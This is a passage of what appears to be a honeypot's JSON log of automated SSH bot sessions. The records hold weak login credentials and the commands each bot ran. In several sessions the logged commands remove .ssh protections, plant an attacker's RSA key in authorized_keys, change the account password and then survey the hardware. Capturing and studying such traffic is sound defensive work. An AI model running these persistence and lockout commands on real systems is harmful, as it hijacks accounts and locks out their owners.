-l"},{"seq":4,"at":"2026-08-27T13:02:13.437964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:02:13.737356+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:02:14.036039+00:00","kind":"input","latency_ms":null,"data":"echo \"kd@123\\n3z8xIYXZWdhU\\n3z8xIYXZWdhU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:02:14.333554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:02:15.050745+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:02:15.349426+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:02:16.695693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:02:16.996093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:02:17.939569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:02:18.239270+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:02:18.602550+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:02:18.901654+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:02:19.329343+00:00","kind":"output","latency_ms":null,"data":" 13:02:19 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:02:19.627422+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:02:20.418452+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:02:20.716727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:02:21.040351+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:02:21.341035+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:02:22.166250+00:00","kind":"output","latency_ms":null,"data":"top - 13:02:22 up 7 days, 9:52, 0 user, load average: 0.16, 0.12, 0.14\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:02:22.466651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:02:23.296722+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:02:23.596393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:02:23.859405+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:02:24.158185+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:02:24.428492+00:00","kind":"output","latency_ms":null,"data":"kd"},{"seq":29,"at":"2026-08-27T13:02:24.726774+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:02:26.064360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:02:26.364139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:02:28.508428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kd","password":"kd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"b2ada6f7-2f54-4666-b63f-64729d310e48","name":"amber-seaward-civet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47530,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:03.274397+00:00","ended_at":"2026-08-27T13:02:04.383362+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:01:38.034695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:01:38.365718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:01:42.126480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:01:43.742558+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:01:44.069726+00:00","kind":"input","latency_ms":null,"data":"echo -e \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:01:44.398890+00:00","kind":"input","latency_ms":null,"data":"echo \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:01:44.729226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:01:45.804839+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:01:46.006644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:01:46.193316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:01:46.521629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:01:48.421669+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:01:48.751629+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:01:50.378676+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:01:50.706962+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:01:51.859768+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:01:52.188259+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:01:52.998600+00:00","kind":"output","latency_ms":null,"data":" 13:01:52 up 7 days, 9:51, 0 user, load average: 0.07, 0.07, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:01:53.326660+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:01:55.077436+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:01:55.408382+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:01:55.753411+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:01:56.083956+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:01:58.261465+00:00","kind":"output","latency_ms":null,"data":"top - 13:01:58 up 7 days, 9:52, 0 user, load average: 0.07, 0.07, 0.07\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:01:58.585116+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:01:59.077770+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:01:59.408605+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:02:00.094142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:02:00.427623+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:02:01.229660+00:00","kind":"output","latency_ms":null,"data":"suraj"},{"seq":31,"at":"2026-08-27T13:02:01.559091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:02:02.947769+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:02:03.275146+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:02:04.286685+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"suraj","password":"suraj","method":"password","accepted":true,"tier":"other"}]} {"id":"1a44aa23-34f2-4ab5-aab8-45dbfbbaff84","name":"ancient-sullen-stoat","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":60000,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:01:22.570271+00:00","ended_at":"2026-08-27T13:01:24.019166+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T13:01:01.867200+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:01:02.310969+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:01:06.755132+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:01:07.648502+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:01:08.095155+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcd1234\\n49T1zMa1bW7H\\n49T1zMa1bW7H\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:01:08.544700+00:00","kind":"input","latency_ms":null,"data":"echo \"abcd1234\\n49T1zMa1bW7H\\n49T1zMa1bW7H\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:01:08.988724+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:01:09.295042+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:01:09.740270+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:01:10.699535+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:01:11.147227+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:01:12.176580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:01:12.635464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:01:13.291129+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:01:13.737367+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:01:14.539359+00:00","kind":"output","latency_ms":null,"data":" 13:01:14 up 7 days, 9:51, 0 user, load average: 0.33, 0.36, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:01:14.981274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:01:15.345302+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:01:15.791165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:01:16.648303+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:01:17.109946+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:01:17.387192+00:00","kind":"output","latency_ms":null,"data":"top - 13:01:17 up 7 days, 9:51, 0 user, load average: 0.33, 0.36, 0.32\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:01:17.836665+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:01:18.327761+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:01:18.773808+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:01:19.464597+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:01:19.909160+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:01:20.178832+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:01:20.626764+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:01:22.121144+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:01:22.571120+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:01:23.882032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"abcd1234","method":"password","accepted":true,"tier":"other"}]} {"id":"1299ead7-4c8d-4d6e-b457-56d7f39f78da","name":"faded-upland-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34556,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:24.397509+00:00","ended_at":"2026-08-27T13:00:26.219203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:00:06.802211+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:00:07.092154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:00:10.886316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:00:11.649019+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:00:11.943962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:00:12.235720+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd1\\nEhNfpar1iUkC\\nEhNfpar1iUkC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:00:12.527901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:00:12.992335+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:00:13.286773+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:00:14.480804+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:00:14.775819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:00:15.697500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:00:15.992594+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:00:16.439409+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:00:16.734370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:00:17.281036+00:00","kind":"output","latency_ms":null,"data":" 13:00:17 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:00:17.574075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:00:17.894831+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:00:18.188122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:00:18.809200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:00:19.103052+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:00:19.907180+00:00","kind":"output","latency_ms":null,"data":"top - 13:00:19 up 7 days, 9:50, 0 user, load average: 0.21, 0.21, 0.15\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:00:20.200910+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:00:20.878367+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:00:21.172611+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:00:21.452853+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:00:21.747038+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:00:22.648908+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:00:22.943670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:24.103415+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:24.398593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:26.136709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Passw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"a5fda80f-7664-41f9-a4b0-921f3cd98379","name":"russet-mindful-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":45620,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:00.983466+00:00","ended_at":"2026-08-27T13:00:02.535592+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T12:59:42.408825+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:42.734243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:59:46.495138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:59:46.862503+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:59:47.187311+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:59:47.515303+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:59:47.842810+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:59:48.701113+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:59:49.027260+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:59:50.083201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:59:50.411437+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:59:51.352294+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:51.680089+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:59:52.281364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:59:52.919497+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:59:53.501344+00:00","kind":"output","latency_ms":null,"data":" 12:59:53 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nUSER TTY FROM 